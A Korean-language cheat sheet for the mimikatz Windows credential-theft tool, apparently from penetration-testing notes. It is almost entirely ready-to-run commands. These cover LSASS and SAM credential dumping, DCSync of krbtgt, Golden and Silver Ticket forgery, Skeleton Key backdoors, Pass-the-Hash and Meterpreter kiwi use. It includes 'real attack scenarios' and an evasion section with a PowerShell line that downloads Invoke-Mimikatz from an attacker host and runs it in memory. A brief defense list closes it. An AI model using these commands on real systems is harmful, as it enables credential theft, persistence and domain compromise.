mimikatz
Windows 자격증명 추출 도구입니다.
다운로드
https://github.com/gentilkiwi/mimikatz/releases
기본 실행
.\mimikatz.exe
권한 상승
# 관리자 권한으로 실행 후
privilege::debug
token::elevate
일반 명령어
자격증명 덤프
# LSASS에서 자격증명 추출
sekurlsa::logonpasswords
# 모든 자격증명
sekurlsa::logonpasswords full
# Kerberos 티켓
sekurlsa::tickets
# Kerberos 티켓 내보내기
sekurlsa::tickets /export
SAM 데이터베이스
# SAM 해시 덤프
lsadump::sam
# 로컬 SAM
lsadump::sam /system:C:\Windows\System32\config\SYSTEM /sam:C:\Windows\System32\config\SAM
LSA Secrets
lsadump::secrets
lsadump::cache
NTDS.dit (Domain Controller)
# DCSync 공격
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:<DOMAIN>\krbtgt
lsadump::dcsync /domain:<DOMAIN> /all /csv
# 특정 사용자
lsadump::dcsync /user:<DOMAIN>\<USERNAME> /domain:<DOMAIN>
Vault (Windows Vault)
vault::list
vault::cred
vault::cred /patch
Kerberos 공격
Pass the Ticket (PtT)
# 1. 티켓 추출
sekurlsa::tickets /export
# 2. 티켓 주입
kerberos::ptt [0;12bd0]-0-0-40810000-Administrator@krbtgt-<DOMAIN>.kirbi
# 3. 확인
klist
# 4. 접근
dir \\<DC>\c$
Golden Ticket
# 1. krbtgt 해시 얻기 (DCSync)
lsadump::lsa /inject /name:krbtgt
# 2. Golden Ticket 생성
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx-xxx-xxx /krbtgt:<KRBTGT_HASH> /id:500
# 또는 더 자세하게
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500 /ptt
# 3. CMD 실행
misc::cmd
# 4. 확인
klist
dir \\<DC>\admin$
Silver Ticket
# 특정 서비스의 NTLM 해시로 티켓 생성
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx-xxx-xxx /target:<TARGET> /service:<SERVICE> /rc4:<HASH> /ptt
# 예: CIFS 서비스
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:server.corp.local /service:cifs /rc4:<HASH> /ptt
Skeleton Key
# DC에 Skeleton Key 삽입 (모든 계정에 'mimikatz' 비밀번호 추가)
privilege::debug
misc::skeleton
# 이후 어떤 계정이든 'mimikatz' 비밀번호로 로그인 가능
net use \\<DC>\admin$ /user:Administrator mimikatz
dir \\<DC>\c$ /user:<USERNAME> mimikatz
Pass the Hash (PtH)
# NTLM 해시로 인증
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:cmd.exe
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:abc123... /run:powershell.exe
Over Pass the Hash
# NTLM 해시에서 Kerberos TGT 획득
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell.exe
# PowerShell에서
klist
net use \\<DC>\c$
Minidump 분석
덤프 생성 (대상 시스템)
# Task Manager로 lsass.exe 프로세스 덤프
# 또는 ProcDump 사용
procdump.exe -ma lsass.exe lsass.dmp
덤프 분석 (공격자 시스템)
.\mimikatz.exe
sekurlsa::minidump C:\path\to\lsass.dmp
sekurlsa::logonpasswords
토큰 조작
# 토큰 상승
token::elevate
# 토큰 복원
token::revert
# 도메인 관리자 토큰 가장
token::elevate /domainadmin
# 시스템 토큰
token::elevate /system
기타 유용한 명령
현재 사용자 정보
token::whoami
로그 기록
log <FILE>
log mimikatz.log
종료
exit
실제 공격 시나리오
시나리오 1: 로컬 자격증명 덤프
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
exit
시나리오 2: DCSync 공격
.\mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:corp.local
exit
시나리오 3: Golden Ticket 공격
# 1. krbtgt 해시 획득
.\mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:corp.local
# 2. Golden Ticket 생성
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:<HASH> /ptt
# 3. 접근
misc::cmd
dir \\dc01\c$
시나리오 4: Pass the Ticket
# 1. 티켓 추출
sekurlsa::tickets /export
# 2. 티켓 주입
kerberos::ptt ticket.kirbi
# 3. 접근
dir \\dc01\c$
Meterpreter에서 사용
# Meterpreter 세션에서
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
meterpreter > dcsync_ntlm krbtgt
탐지 회피
메모리에서만 실행
# Invoke-Mimikatz (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
난독화
# 난독화된 버전 사용
# 또는 직접 소스 수정 후 컴파일
방어 및 탐지
Mimikatz 공격 방지:
- LSA Protection 활성화
- Credential Guard 사용
- WDigest 비활성화
- LSASS 프로세스 보호
- 최소 권한 원칙
- Pass-the-Hash 완화 정책
참고
- 관리자 권한 필요
privilege::debug필수- Windows Defender에 의해 차단될 수 있음
- DCSync는 Domain Admin 또는 특정 권한 필요
- Golden Ticket은 krbtgt 해시 필요
- Skeleton Key는 재부팅 시 제거됨
- LSASS 덤프는 오프라인 분석 가능
- Meterpreter의 kiwi 모듈이 더 편리
- 최신 Windows는 추가 보안 기능으로 방어